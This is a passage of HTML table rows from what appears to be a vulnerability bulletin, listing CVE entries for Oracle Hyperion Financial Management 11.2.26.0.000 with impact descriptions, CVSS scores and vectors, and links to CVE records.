&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87228&quot; target=&quot;_blank&quot;&gt;CVE-2026-87228&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized read access to a subset of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87229&quot; target=&quot;_blank&quot;&gt;CVE-2026-87229&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87231&quot; target=&quot;_blank&quot;&gt;CVE-2026-87231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87232&quot; target=&quot;_blank&quot;&gt;CVE-2026-87232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87234&quot; target=&quot;_blank&quot;&gt;CVE-2026-87234&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87238&quot; target=&quot;_blank&quot;&gt;CVE-2026-87238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87241&quot; target=&quot;_blank&quot;&gt;CVE-2026-87241&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.0 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87243&quot; target=&quot;_blank&quot;&gt;CVE-2026-87243&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87245&quot; target=&quot;_blank&quot;&gt;CVE-2026-87245&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87183&quot; target=&quot;_blank&quot;&gt;CVE-2026-87183&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87190&quot; target=&quot;_blank&quot;&gt;CVE-2026-87190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87191&quot; target=&quot;_blank&quot;&gt;CVE-2026-87191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87192&quot; target=&quot;_blank&quot;&gt;CVE-2026-87192&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87193&quot; target=&quot;_blank&quot;&gt;CVE-2026-87193&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87194&quot; target=&quot;_blank&quot;&gt;CVE-2026-87194&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87195&quot; target=&quot;_blank&quot;&gt;CVE-2026-87195&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87198&quot; target=&quot;_blank&quot;&gt;CVE-2026-87198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87199&quot; target=&quot;_blank&quot;&gt;CVE-2026-87199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87203&quot; target=&quot;_blank&quot;&gt;CVE-2026-87203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87205&quot; target=&quot;_blank&quot;&gt;CVE-2026-87205&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87206&quot; target=&quot;_blank&quot;&gt;CVE-2026-87206&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via SQL to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87207&quot; target=&quot;_blank&quot;&gt;CVE-2026-87207&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87208&quot; target=&quot;_blank&quot;&gt;CVE-2026-87208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87209&quot; target=&quot;_blank&quot;&gt;CVE-2026-87209&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87211&quot; target=&quot;_blank&quot;&gt;CVE-2026-87211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SQL to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87212&quot; target=&quot;_blank&quot;&gt;CVE-2026-87212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87213&quot; target=&quot;_blank&quot;&gt;CVE-2026-87213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87215&quot; target=&quot;_blank&quot;&gt;CVE-2026-87215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
